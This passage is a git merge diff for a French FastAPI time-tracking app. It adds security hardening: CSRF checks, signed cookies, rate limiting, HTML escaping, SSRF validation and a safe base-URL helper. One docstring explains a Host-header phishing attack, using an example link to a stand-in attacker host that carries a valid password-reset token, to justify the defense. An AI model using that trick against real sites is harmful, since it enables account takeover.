Merge remote-tracking branch 'origin/main'
# Conflicts: # app/calcul.py
This commit is contained in:
@ -77,7 +77,8 @@ Seul `data/config.example.json` est versionné.
|
||||
|
||||
```json
|
||||
{
|
||||
"heures_jour": 7.8,
|
||||
"heures_semaine": 39.0,
|
||||
"jours_par_semaine": 5,
|
||||
"log_level": "DEBUG",
|
||||
"allowed_email_domain": "exemple.fr",
|
||||
"mail_from": "no-reply@exemple.fr",
|
||||
@ -91,7 +92,8 @@ Seul `data/config.example.json` est versionné.
|
||||
}
|
||||
```
|
||||
|
||||
- `heures_jour` — `7.8` = 7h48 = 39h ÷ 5 jours. Modifier cette valeur recentre tous les calculs.
|
||||
- `heures_semaine` — heures hebdomadaires visées (ex: `39.0`).
|
||||
- `jours_par_semaine` — nombre de jours travaillés dans la semaine (ex: `5`). Le quota quotidien est calculé : `heures_semaine ÷ jours_par_semaine` (39h / 5 = 7h48/jour).
|
||||
- `log_level` — `DEBUG`, `INFO`, `WARNING` ou `ERROR`. Contrôle la verbosité des logs (`docker logs`).
|
||||
- `allowed_email_domain` — seules les adresses de ce domaine peuvent se connecter.
|
||||
- `mail_from` — adresse expéditrice des emails de connexion.
|
||||
|
||||
@ -131,6 +131,8 @@ def compute_week(pointages: list[dict], conges: list[dict], heures_jour_min: int
|
||||
for jour in jours:
|
||||
jour["cible_matin"] = None
|
||||
jour["cible_aprem"] = None
|
||||
jour["cible_matin_entree"] = None
|
||||
jour["cible_aprem_entree"] = None
|
||||
|
||||
restant = total_du - total_travaille
|
||||
|
||||
@ -218,11 +220,23 @@ def compute_week(pointages: list[dict], conges: list[dict], heures_jour_min: int
|
||||
adjs[i] -= take
|
||||
left -= take
|
||||
|
||||
# Le matin propose toujours son horaire nominal (jamais ajusté par le rattrapage
|
||||
# hebdomadaire) ; l'après-midi propose son horaire nominal éventuellement décalé
|
||||
# par l'écart (retard ou avance) réparti ci-dessus.
|
||||
for s in slots:
|
||||
if s["half"] != "matin":
|
||||
continue
|
||||
# Pas de plancher matin_fin ici : le nominal est déjà borné par cap (≤ matin_fin
|
||||
# - debut), donc debut + nominal ne peut pas dépasser matin_fin de lui-même.
|
||||
sortie_min = s["debut"] + s["nominal"]
|
||||
entree = f"{s['debut'] // 60:02d}:{s['debut'] % 60:02d}"
|
||||
s["jour"]["cible_matin_entree"] = entree
|
||||
s["jour"]["cible_matin"] = f"{sortie_min // 60:02d}:{sortie_min % 60:02d}"
|
||||
|
||||
for i, s in enumerate(aprem_slots):
|
||||
if adjs[i] == 0:
|
||||
continue # rythme normal suffit pour cette demi-journée, rien à signaler
|
||||
sortie_min = s["debut"] + s["nominal"] + adjs[i]
|
||||
sortie_min = max(sortie_min, aprem_fin_min)
|
||||
sortie_min = max(s["debut"] + s["nominal"] + adjs[i], aprem_fin_min)
|
||||
entree = f"{s['debut'] // 60:02d}:{s['debut'] % 60:02d}"
|
||||
s["jour"]["cible_aprem_entree"] = entree
|
||||
s["jour"]["cible_aprem"] = f"{sortie_min // 60:02d}:{sortie_min % 60:02d}"
|
||||
|
||||
extra_total = max(0, ecart_total)
|
||||
|
||||
403
app/main.py
403
app/main.py
@ -1,10 +1,16 @@
|
||||
import asyncio
|
||||
import hashlib
|
||||
import hmac
|
||||
import html
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import secrets
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from datetime import datetime, timedelta
|
||||
from itertools import groupby
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import bcrypt
|
||||
from fastapi import FastAPI, Form, Request, Response
|
||||
@ -17,13 +23,15 @@ from models import (
|
||||
load_config, load_week_pointages, save_week_pointages, load_conges,
|
||||
toggle_conge, list_all_weeks,
|
||||
load_notif_config, save_notif_config, find_user_by_token, save_presence,
|
||||
regenerate_presence_token,
|
||||
load_auth, save_auth, find_user_by_reset_token,
|
||||
load_plages, save_plages, heures_jour_min,
|
||||
append_log, load_logs, load_or_create_secret,
|
||||
)
|
||||
from calcul import compute_week, minutes_to_hhmm, hhmm_to_minutes, heures_dues
|
||||
from stats import compute_all_stats
|
||||
from export import export_semaine_ods, export_annee_ods
|
||||
from notifications import reminder_loop
|
||||
from notifications import reminder_loop, send_ntfy, is_safe_ntfy_server
|
||||
|
||||
logging.basicConfig(
|
||||
level=getattr(logging, load_config().get("log_level", "DEBUG").upper(), logging.DEBUG),
|
||||
@ -34,6 +42,64 @@ logger = logging.getLogger("pointeuse")
|
||||
app = FastAPI(title="Décompte Horaire")
|
||||
|
||||
|
||||
@app.middleware("http")
|
||||
async def csrf_origin_check(request: Request, call_next):
|
||||
"""Protection CSRF stateless sur les requêtes mutatives.
|
||||
|
||||
Stratégie défense-en-profondeur combinée au cookie SameSite=Lax :
|
||||
si la requête porte un header Origin ou Referer, on vérifie que son host
|
||||
correspond à celui attendu (config.base_url si définie, sinon le Host de
|
||||
la requête). Une requête cross-site aura un Origin différent.
|
||||
L'absence d'Origin est tolérée (cas des clients non-navigateurs comme
|
||||
Tasker ou curl, où SameSite=Lax suffit).
|
||||
"""
|
||||
if request.method in ("POST", "PUT", "DELETE", "PATCH"):
|
||||
origin = request.headers.get("origin") or request.headers.get("referer")
|
||||
if origin:
|
||||
try:
|
||||
parsed = urlsplit(origin)
|
||||
except ValueError:
|
||||
return JSONResponse({"error": "csrf"}, status_code=403)
|
||||
origin_host = (parsed.hostname or "").lower()
|
||||
configured_base = (load_config().get("base_url") or "").strip()
|
||||
if configured_base:
|
||||
try:
|
||||
expected = (urlsplit(configured_base).hostname or "").lower()
|
||||
except ValueError:
|
||||
expected = ""
|
||||
else:
|
||||
expected = (request.headers.get("host") or "").lower().split(":", 1)[0]
|
||||
if origin_host and expected and origin_host != expected:
|
||||
logger.warning(
|
||||
"CSRF: origin rejettée origin=%r host=%r path=%r",
|
||||
origin, request.headers.get("host"), request.url.path,
|
||||
)
|
||||
return JSONResponse({"error": "csrf"}, status_code=403)
|
||||
response = await call_next(request)
|
||||
# ── En-têtes de sécurité appliqués à toutes les réponses ──
|
||||
response.headers["X-Content-Type-Options"] = "nosniff"
|
||||
response.headers["X-Frame-Options"] = "DENY"
|
||||
response.headers["Referrer-Policy"] = "same-origin"
|
||||
# CSP relaxée : on autorise Google Fonts (chargé depuis base.html) et les
|
||||
# scripts/styles inline (semaine.html et stats.html ont du JS/CSS inline).
|
||||
# 'unsafe-inline' reste nécessaire tant que ces ressources ne sont pas
|
||||
# extraites dans des fichiers statiques.
|
||||
response.headers["Content-Security-Policy"] = (
|
||||
"default-src 'self'; "
|
||||
"script-src 'self' 'unsafe-inline'; "
|
||||
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
|
||||
"font-src 'self' https://fonts.gstatic.com; "
|
||||
"img-src 'self' data:; "
|
||||
"connect-src 'self'; "
|
||||
"frame-ancestors 'none'; "
|
||||
"base-uri 'self'"
|
||||
)
|
||||
# HSTS uniquement en HTTPS (sinon on risquerait de bloquer un user en HTTP)
|
||||
if request.url.scheme == "https":
|
||||
response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
|
||||
return response
|
||||
|
||||
|
||||
@app.on_event("startup")
|
||||
async def _log_config_at_startup():
|
||||
cfg = load_config()
|
||||
@ -59,13 +125,61 @@ _USERNAME_RE = re.compile(r"^[a-zA-Z0-9_.\-]{1,64}$")
|
||||
_EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
|
||||
_HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
|
||||
|
||||
# Échappement HTML pour les fragments construits en f-string hors templates Jinja
|
||||
# (autoescape ne s'applique qu'aux templates). Defense-in-depth contre le XSS stocké.
|
||||
_e = html.escape
|
||||
|
||||
|
||||
# ── Auth helpers ──────────────────────────────────────────────────────────────
|
||||
|
||||
def _sign_user_id(user_id: str) -> str:
|
||||
"""Return the signed session cookie value: `<user_id>.<hmac_hex>`.
|
||||
|
||||
The signature authenticates the user_id without storing server-side session
|
||||
state. The HMAC key lives in /data/secret.key (see load_or_create_secret).
|
||||
"""
|
||||
secret = load_or_create_secret()
|
||||
sig = hmac.new(secret, user_id.encode(), hashlib.sha256).hexdigest()
|
||||
return f"{user_id}.{sig}"
|
||||
|
||||
|
||||
def _verify_signed_cookie(raw: str) -> str | None:
|
||||
"""Return the user_id if the cookie carries a valid signature, else None."""
|
||||
if not raw or "." not in raw:
|
||||
return None
|
||||
user_id, _, sig = raw.rpartition(".")
|
||||
if not user_id or not sig or not _USERNAME_RE.match(user_id):
|
||||
return None
|
||||
secret = load_or_create_secret()
|
||||
expected = hmac.new(secret, user_id.encode(), hashlib.sha256).hexdigest()
|
||||
# Constant-time comparison to avoid leaking signature bytes via timing.
|
||||
if hmac.compare_digest(sig, expected):
|
||||
return user_id
|
||||
return None
|
||||
|
||||
|
||||
def _get_user(request: Request) -> str | None:
|
||||
"""Extract current user from cookie."""
|
||||
uid = request.cookies.get("user_id", "").strip()
|
||||
return uid if _USERNAME_RE.match(uid) else None
|
||||
"""Extract current user from signed cookie."""
|
||||
return _verify_signed_cookie(request.cookies.get("user_id", ""))
|
||||
|
||||
|
||||
def _set_auth_cookie(resp: Response, user_id: str, request: Request | None = None) -> None:
|
||||
"""Set the signed, HttpOnly, SameSite session cookie.
|
||||
|
||||
Le drapeau `secure` est positionné automatiquement si la requête courante
|
||||
est en HTTPS, ou si config.force_secure_cookies est vrai. Cela évite que
|
||||
le cookie ne transite en clair sur un downgrade HTTP.
|
||||
"""
|
||||
secure = False
|
||||
if request is not None and request.url.scheme == "https":
|
||||
secure = True
|
||||
if load_config().get("force_secure_cookies"):
|
||||
secure = True
|
||||
resp.set_cookie(
|
||||
"user_id", _sign_user_id(user_id),
|
||||
httponly=True, samesite="lax", max_age=60 * 60 * 24 * 30,
|
||||
secure=secure,
|
||||
)
|
||||
|
||||
|
||||
def allowed_email_domain() -> str:
|
||||
@ -80,6 +194,84 @@ def smtp_config() -> dict:
|
||||
return load_config().get("smtp", {})
|
||||
|
||||
|
||||
# ── Rate-limiting des routes d'authentification ───────────────────────────────
|
||||
# Compteur simple en mémoire, fenêtre glissante de LOGIN_WINDOW_S secondes.
|
||||
# Suffit pour bloquer le brute-force / mail-bombing sur une app mono-utilisateur.
|
||||
# Reset entre tests via main._LOGIN_ATTEMPTS.clear().
|
||||
|
||||
_LOGIN_ATTEMPTS: dict[str, list[float]] = defaultdict(list)
|
||||
LOGIN_WINDOW_S = 60
|
||||
DEFAULT_LOGIN_MAX_PER_MIN = 10
|
||||
|
||||
|
||||
def _check_login_rate_limit(key: str, max_per_min: int | None = None) -> bool:
|
||||
"""Retourne True si la tentative est autorisée, False sinon.
|
||||
|
||||
max_per_min <= 0 désactive la limite (utile pour tests ou config).
|
||||
"""
|
||||
if max_per_min is None:
|
||||
max_per_min = int(load_config().get("login_rate_limit_per_min", DEFAULT_LOGIN_MAX_PER_MIN))
|
||||
if max_per_min <= 0:
|
||||
return True
|
||||
now = time.monotonic()
|
||||
cutoff = now - LOGIN_WINDOW_S
|
||||
recent = [t for t in _LOGIN_ATTEMPTS[key] if t > cutoff]
|
||||
_LOGIN_ATTEMPTS[key] = recent
|
||||
if len(recent) >= max_per_min:
|
||||
return False
|
||||
recent.append(now)
|
||||
return True
|
||||
|
||||
|
||||
def _client_ip(request: Request) -> str:
|
||||
"""Retourne l'IP du client (sans confiance X-Forwarded-For par défaut)."""
|
||||
return request.client.host if request.client else "unknown"
|
||||
|
||||
|
||||
def _safe_base_url(request: Request) -> str | None:
|
||||
"""Retourne une URL de base fiable pour construire des liens (emails, etc.).
|
||||
|
||||
Anti open-redirect / phishing : le header Host est contrôlable par le client
|
||||
(curl/DevTools), donc `request.base_url` ne doit pas être utilisée telle
|
||||
quelle dans un email envoyé à l'utilisateur, sinon un attaquant peut faire
|
||||
envoyer un mail légitime contenant `https://phishing.attacker/set-password/<token>`
|
||||
avec un token réellement valide.
|
||||
|
||||
Stratégie :
|
||||
- Si `base_url` est défini en config, l'utiliser (schéma http/https requis).
|
||||
- Sinon, accepter le Host seulement s'il correspond à `allowed_email_domain`
|
||||
(suffixe strict) ou à localhost (utile pour les tests/dev locaux).
|
||||
- Sinon, retourner None : l'appelant doit refuser l'envoi.
|
||||
"""
|
||||
cfg = load_config()
|
||||
configured = (cfg.get("base_url") or "").strip().rstrip("/")
|
||||
if configured:
|
||||
try:
|
||||
parts = urlsplit(configured)
|
||||
if parts.scheme in ("http", "https") and parts.hostname:
|
||||
return configured
|
||||
except ValueError:
|
||||
pass
|
||||
logger.warning("base_url configurée invalide: %r", configured)
|
||||
return None
|
||||
|
||||
host = (request.headers.get("host") or "").strip()
|
||||
if not host:
|
||||
return None
|
||||
host_l = host.lower()
|
||||
hostname = host_l.split(":", 1)[0]
|
||||
scheme = "https" if request.url.scheme == "https" else "http"
|
||||
|
||||
if hostname in ("localhost", "127.0.0.1", "::1"):
|
||||
return f"{scheme}://{host}"
|
||||
|
||||
allowed = (cfg.get("allowed_email_domain") or "").strip().lower()
|
||||
if allowed and (host_l == allowed or host_l.endswith("." + allowed)):
|
||||
return f"{scheme}://{host}"
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _require_user(request: Request):
|
||||
"""Return user_id or redirect to login."""
|
||||
uid = _get_user(request)
|
||||
@ -111,7 +303,9 @@ def _build_soldes_ctx(year, week, conges, h_jour, user_id):
|
||||
"aprem_entree": None, "aprem_sortie": None})
|
||||
for d in dates
|
||||
]
|
||||
return {"result": compute_week(pointages, conges, h_jour, load_plages(user_id))}
|
||||
result = compute_week(pointages, conges, h_jour, load_plages(user_id))
|
||||
result["heures_jour"] = minutes_to_hhmm(h_jour)
|
||||
return {"result": result}
|
||||
|
||||
|
||||
def _build_jour_ctx(date, conges, h_jour, user_id):
|
||||
@ -136,16 +330,16 @@ def _build_jour_ctx(date, conges, h_jour, user_id):
|
||||
|
||||
|
||||
def _oob_calc(date, jour):
|
||||
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else jour["travaille"]}</span>'
|
||||
trav_inner = f'<span class="calc-num">{"—" if not jour["travaille_min"] else _e(jour["travaille"])}</span>'
|
||||
if jour["travaille_min"]:
|
||||
cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
|
||||
sign = "+" if jour["delta_min"] > 0 else ""
|
||||
delta_inner = f'<span class="{cls}">{sign}{jour["delta"]}</span>'
|
||||
delta_inner = f'<span class="{cls}">{sign}{_e(jour["delta"])}</span>'
|
||||
else:
|
||||
delta_inner = '<span class="delta-zero">—</span>'
|
||||
return (
|
||||
f'<span id="calc-{date}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
||||
f'<span id="calc-{date}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
||||
f'<span id="calc-{_e(date)}-trav" hx-swap-oob="true">{trav_inner}</span>'
|
||||
f'<span id="calc-{_e(date)}-delta" hx-swap-oob="true">{delta_inner}</span>'
|
||||
)
|
||||
|
||||
|
||||
@ -163,14 +357,14 @@ def _oob_week_extras(result):
|
||||
cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
|
||||
else:
|
||||
cumul_inner = '<span class="delta-zero">—</span>'
|
||||
html += f'<span id="calc-{date}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
||||
html += f'<span id="calc-{_e(date)}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
|
||||
parts = []
|
||||
if jour.get("cible_matin"):
|
||||
parts.append(f'<span class="cible-num">M {jour["cible_matin"]}</span>')
|
||||
parts.append(f'<span class="cible-num">M {_e(jour["cible_matin_entree"])} → {_e(jour["cible_matin"])}</span>')
|
||||
if jour.get("cible_aprem"):
|
||||
parts.append(f'<span class="cible-num">A {jour["cible_aprem"]}</span>')
|
||||
parts.append(f'<span class="cible-num">A {_e(jour["cible_aprem_entree"])} → {_e(jour["cible_aprem"])}</span>')
|
||||
cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
|
||||
html += f'<span id="calc-{date}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
||||
html += f'<span id="calc-{_e(date)}-cible" hx-swap-oob="true">{cible_inner}</span>'
|
||||
return html
|
||||
|
||||
|
||||
@ -189,19 +383,19 @@ def _oob_time_cells(date, jour, plages):
|
||||
matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
|
||||
aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
|
||||
matin_html = (
|
||||
f'<div id="cg-matin-{date}" hx-swap-oob="true" class="{matin_cls}">'
|
||||
f'<div id="cg-matin-{_e(date)}" hx-swap-oob="true" class="{matin_cls}">'
|
||||
f'<div class="time-pair">'
|
||||
f'<input class="time-input" type="time" name="matin_entree" data-date="{date}" value="{jour["matin_entree"] or ""}">'
|
||||
f'<input class="time-input" type="text" name="matin_entree" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--" data-date="{_e(date)}" value="{_e(jour["matin_entree"] or "")}">'
|
||||
f'<span class="time-sep">→</span>'
|
||||
f'<input class="time-input" type="time" name="matin_sortie" data-date="{date}" value="{jour["matin_sortie"] or ""}">'
|
||||
f'<input class="time-input" type="text" name="matin_sortie" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--" data-date="{_e(date)}" value="{_e(jour["matin_sortie"] or "")}">'
|
||||
f'</div></div>'
|
||||
)
|
||||
aprem_html = (
|
||||
f'<div id="cg-aprem-{date}" hx-swap-oob="true" class="{aprem_cls}">'
|
||||
f'<div id="cg-aprem-{_e(date)}" hx-swap-oob="true" class="{aprem_cls}">'
|
||||
f'<div class="time-pair">'
|
||||
f'<input class="time-input" type="time" name="aprem_entree" data-date="{date}" value="{jour["aprem_entree"] or ""}">'
|
||||
f'<input class="time-input" type="text" name="aprem_entree" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--" data-date="{_e(date)}" value="{_e(jour["aprem_entree"] or "")}">'
|
||||
f'<span class="time-sep">→</span>'
|
||||
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{date}" value="{jour["aprem_sortie"] or ""}">'
|
||||
f'<input class="time-input" type="text" name="aprem_sortie" inputmode="numeric" pattern="[0-9]{2}:[0-9]{2}" maxlength="5" placeholder="--:--" data-date="{_e(date)}" value="{_e(jour["aprem_sortie"] or "")}">'
|
||||
f'</div></div>'
|
||||
)
|
||||
return matin_html + aprem_html
|
||||
@ -216,11 +410,11 @@ def _htmx_conge_and_soldes(request, date, d, conges, h_jour, user_id):
|
||||
btn_am_on = " on" if "aprem" in cg else ""
|
||||
btn_j_on = " jour-on" if "jour" in cg else ""
|
||||
btns_html = (
|
||||
f'<div id="cg-btn-{date}" hx-swap-oob="true">'
|
||||
f'<div id="cg-btn-{_e(date)}" hx-swap-oob="true">'
|
||||
f'<div class="conge-btns">'
|
||||
f'<button hx-post="/conge/{date}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
||||
f'<button hx-post="/conge/{date}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
||||
f'<button hx-post="/conge/{date}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
|
||||
f'<button hx-post="/conge/{_e(date)}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
|
||||
f'</div></div>'
|
||||
)
|
||||
soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
|
||||
@ -266,6 +460,14 @@ def login_page(request: Request):
|
||||
|
||||
@app.post("/login", response_class=HTMLResponse)
|
||||
def login_submit(request: Request, email: str = Form("")):
|
||||
# Rate-limit par IP pour empêcher le mail-bombing SMTP et l'énumération.
|
||||
ip = _client_ip(request)
|
||||
if not _check_login_rate_limit(f"login:{ip}"):
|
||||
logger.warning("rate limit /login déclenchée: ip=%r", ip)
|
||||
return templates.TemplateResponse("login.html", _login_ctx(
|
||||
request, "email", "",
|
||||
"Trop de tentatives. Réessaie dans une minute.",
|
||||
))
|
||||
email = email.strip().lower()
|
||||
m = _EMAIL_RE.match(email)
|
||||
domain = allowed_email_domain()
|
||||
@ -285,12 +487,22 @@ def login_submit(request: Request, email: str = Form("")):
|
||||
return templates.TemplateResponse("login.html", _login_ctx(request, "password", email))
|
||||
|
||||
# No account yet: (re)send a link to set the password
|
||||
base_url = _safe_base_url(request)
|
||||
if not base_url:
|
||||
logger.warning(
|
||||
"login refusé (Host non fiable pour générer un lien email): host=%r email=%r",
|
||||
request.headers.get("host"), email,
|
||||
)
|
||||
return templates.TemplateResponse("login.html", _login_ctx(
|
||||
request, "email", email,
|
||||
"Domaine non autorisé pour générer un lien de connexion.",
|
||||
))
|
||||
|
||||
token = secrets.token_urlsafe(32)
|
||||
expires = (datetime.now() + timedelta(hours=RESET_TOKEN_VALIDITY_HOURS)).isoformat()
|
||||
save_auth(user_id, email=email, token=token, token_expires=expires)
|
||||
logger.info("nouveau token de création de compte pour %r (expire %s)", user_id, expires)
|
||||
|
||||
base_url = str(request.base_url).rstrip("/")
|
||||
link = f"{base_url}/set-password/{token}"
|
||||
try:
|
||||
send_mail(
|
||||
@ -311,7 +523,15 @@ def login_submit(request: Request, email: str = Form("")):
|
||||
|
||||
@app.post("/login/password", response_class=HTMLResponse)
|
||||
def login_password(request: Request, email: str = Form(""), password: str = Form("")):
|
||||
# Rate-limit par IP+email pour bloquer le brute-force d'un compte précis.
|
||||
email = email.strip().lower()
|
||||
ip = _client_ip(request)
|
||||
if not _check_login_rate_limit(f"pw:{ip}:{email}"):
|
||||
logger.warning("rate limit /login/password déclenchée: ip=%r email=%r", ip, email)
|
||||
return templates.TemplateResponse("login.html", _login_ctx(
|
||||
request, "password", email,
|
||||
"Trop de tentatives. Réessaie dans une minute.",
|
||||
))
|
||||
m = _EMAIL_RE.match(email)
|
||||
domain = allowed_email_domain()
|
||||
logger.info("POST /login/password: email=%r", email)
|
||||
@ -329,7 +549,7 @@ def login_password(request: Request, email: str = Form(""), password: str = Form
|
||||
|
||||
logger.info("connexion réussie: user_id=%r", user_id)
|
||||
resp = RedirectResponse("/", status_code=302)
|
||||
resp.set_cookie("user_id", user_id, httponly=True, samesite="lax", max_age=60 * 60 * 24 * 30)
|
||||
_set_auth_cookie(resp, user_id, request)
|
||||
return resp
|
||||
|
||||
|
||||
@ -371,7 +591,7 @@ def set_password_submit(request: Request, token: str, password: str = Form(""),
|
||||
logger.info("mot de passe défini pour %r", user_id)
|
||||
|
||||
resp = RedirectResponse("/", status_code=302)
|
||||
resp.set_cookie("user_id", user_id, httponly=True, samesite="lax", max_age=60 * 60 * 24 * 30)
|
||||
_set_auth_cookie(resp, user_id, request)
|
||||
return resp
|
||||
|
||||
|
||||
@ -445,7 +665,10 @@ def save_pointage(
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
|
||||
def clean(v):
|
||||
v = v.strip(); return v if v else None
|
||||
# Refuse tout ce qui n'est pas un HHMM strict : empêche le XSS stocké car la
|
||||
# valeur est réinjectée telle quelle dans des f-strings HTML hors templates.
|
||||
v = v.strip()
|
||||
return v if v and _HHMM_RE.match(v) else None
|
||||
|
||||
d = datetime.strptime(date, "%Y-%m-%d").date()
|
||||
iso = d.isocalendar()
|
||||
@ -556,12 +779,16 @@ def settings_page(request: Request):
|
||||
|
||||
notif = load_notif_config(user_id)
|
||||
plages = load_plages(user_id)
|
||||
base_url = str(request.base_url).rstrip("/")
|
||||
# Les URLs Tasker sont affichées à l'utilisateur lui-même : moins sensible qu'un
|
||||
# email, mais on utilise quand même le helper (fallback sur base_url request si
|
||||
# non configurée, car l'utilisateur voit sa propre URL).
|
||||
base_url = _safe_base_url(request) or str(request.base_url).rstrip("/")
|
||||
return templates.TemplateResponse("settings.html", {
|
||||
"request": request,
|
||||
"current_user": user_id,
|
||||
"ntfy_topic": notif.get("ntfy_topic") or "",
|
||||
"ntfy_server": notif.get("ntfy_server") or "https://ntfy.sh",
|
||||
"ntfy_token": notif.get("ntfy_token") or "",
|
||||
"rappel_debut_h": notif.get("rappel_debut_h", 7),
|
||||
"rappel_fin_h": notif.get("rappel_fin_h", 20),
|
||||
"arrivee_url": f"{base_url}/presence/{notif['token']}/arrivee",
|
||||
@ -577,6 +804,7 @@ def settings_page(request: Request):
|
||||
def settings_save(
|
||||
request: Request, ntfy_topic: str = Form(""), ntfy_server: str = Form(""),
|
||||
rappel_debut_h: int = Form(7), rappel_fin_h: int = Form(20),
|
||||
ntfy_token: str = Form(""),
|
||||
):
|
||||
user_id = _get_user(request)
|
||||
if not user_id:
|
||||
@ -585,14 +813,86 @@ def settings_save(
|
||||
rappel_debut_h = max(0, min(23, rappel_debut_h))
|
||||
rappel_fin_h = max(rappel_debut_h + 1, min(24, rappel_fin_h))
|
||||
|
||||
ntfy_server = ntfy_server.strip()
|
||||
if ntfy_server and not is_safe_ntfy_server(ntfy_server):
|
||||
logger.warning("réglages notif rejetés (SSRF): user_id=%r ntfy_server=%r", user_id, ntfy_server)
|
||||
return RedirectResponse("/settings?ssrf_error=1", status_code=303)
|
||||
|
||||
logger.info(
|
||||
"réglages notif mis à jour: user_id=%r ntfy_topic=%r ntfy_server=%r plage=%sh-%sh",
|
||||
"réglages notif mis à jour: user_id=%r ntfy_topic=%r ntfy_server=%r plage=%sh-%sh token=%s",
|
||||
user_id, ntfy_topic, ntfy_server, rappel_debut_h, rappel_fin_h,
|
||||
"(défini)" if ntfy_token.strip() else "(vide)",
|
||||
)
|
||||
save_notif_config(user_id, ntfy_topic, ntfy_server, rappel_debut_h, rappel_fin_h, ntfy_token)
|
||||
append_log(
|
||||
user_id, "settings", "Réglages ntfy",
|
||||
f"topic={ntfy_topic or '(vide)'} server={ntfy_server} plage={rappel_debut_h}h-{rappel_fin_h}h "
|
||||
f"jeton={'défini' if ntfy_token.strip() else '(vide)'}",
|
||||
)
|
||||
save_notif_config(user_id, ntfy_topic, ntfy_server, rappel_debut_h, rappel_fin_h)
|
||||
return RedirectResponse("/settings?saved=1", status_code=303)
|
||||
|
||||
|
||||
@app.post("/settings/test-ntfy", response_class=HTMLResponse)
|
||||
def settings_test_ntfy(request: Request):
|
||||
user_id = _get_user(request)
|
||||
if not user_id:
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
|
||||
notif = load_notif_config(user_id)
|
||||
topic = notif.get("ntfy_topic")
|
||||
server = notif.get("ntfy_server", "https://ntfy.sh")
|
||||
|
||||
if not topic:
|
||||
logger.warning("test ntfy: pas de topic configuré pour %r", user_id)
|
||||
return HTMLResponse(
|
||||
'<div id="ntfy-test-result" class="settings-error">'
|
||||
'Renseigne et enregistre un topic ntfy avant de tester.'
|
||||
'</div>'
|
||||
)
|
||||
|
||||
logger.info("test ntfy: envoi de test pour %r sur %r/%r", user_id, server, topic)
|
||||
ok = send_ntfy(
|
||||
server, topic,
|
||||
"Ceci est une notification de test — ta configuration ntfy fonctionne.",
|
||||
"Test pointeuse", user_id=user_id, token=notif.get("ntfy_token", ""),
|
||||
)
|
||||
cls = "settings-saved" if ok else "settings-error"
|
||||
msg = ("Notification envoyée. Vérifie ton téléphone, elle doit arriver en quelques secondes."
|
||||
if ok else
|
||||
"Échec de l'envoi. Vérifie le serveur et le topic, et l'optimisation batterie de l'app ntfy.")
|
||||
return HTMLResponse(
|
||||
f'<div id="ntfy-test-result" class="{cls}">{msg}</div>'
|
||||
)
|
||||
|
||||
|
||||
@app.post("/settings/regenerate-presence-token", response_class=HTMLResponse)
|
||||
def settings_regenerate_presence_token(request: Request):
|
||||
user_id = _get_user(request)
|
||||
if not user_id:
|
||||
return RedirectResponse("/login", status_code=302)
|
||||
|
||||
new_token = regenerate_presence_token(user_id)
|
||||
logger.warning("token de présence régénéré pour %r", user_id)
|
||||
append_log(user_id, "settings", "Token présence régénéré", "Les URLs Tasker ont été invalidées et remplacées.")
|
||||
|
||||
base_url = _safe_base_url(request) or str(request.base_url).rstrip("/")
|
||||
arrivee_url = f"{base_url}/presence/{new_token}/arrivee"
|
||||
depart_url = f"{base_url}/presence/{new_token}/depart"
|
||||
return HTMLResponse(
|
||||
f'<div id="presence-urls" hx-swap-oob="true">'
|
||||
f'<div class="settings-urlrow">'
|
||||
f'<span class="settings-urllabel">Arrivée</span>'
|
||||
f'<code class="settings-url">{arrivee_url}</code>'
|
||||
f'</div>'
|
||||
f'<div class="settings-urlrow">'
|
||||
f'<span class="settings-urllabel">Départ</span>'
|
||||
f'<code class="settings-url">{depart_url}</code>'
|
||||
f'</div>'
|
||||
f'<div class="settings-saved">Token régénéré. Mets à jour les URLs dans Automation.</div>'
|
||||
f'</div>'
|
||||
)
|
||||
|
||||
|
||||
@app.post("/settings/plages", response_class=HTMLResponse)
|
||||
def settings_plages_save(
|
||||
request: Request,
|
||||
@ -626,28 +926,63 @@ def settings_plages_save(
|
||||
|
||||
logger.info("réglages plages mis à jour: user_id=%r plages=%r", user_id, fields)
|
||||
save_plages(user_id, fields)
|
||||
append_log(
|
||||
user_id, "settings", "Plages horaires",
|
||||
f"matin {fields['matin_debut']}→{fields['matin_fin']}, "
|
||||
f"aprem {fields['aprem_debut']}→{fields['aprem_fin']}, "
|
||||
f"reprise {fields['pause_dejeuner_fin']}"
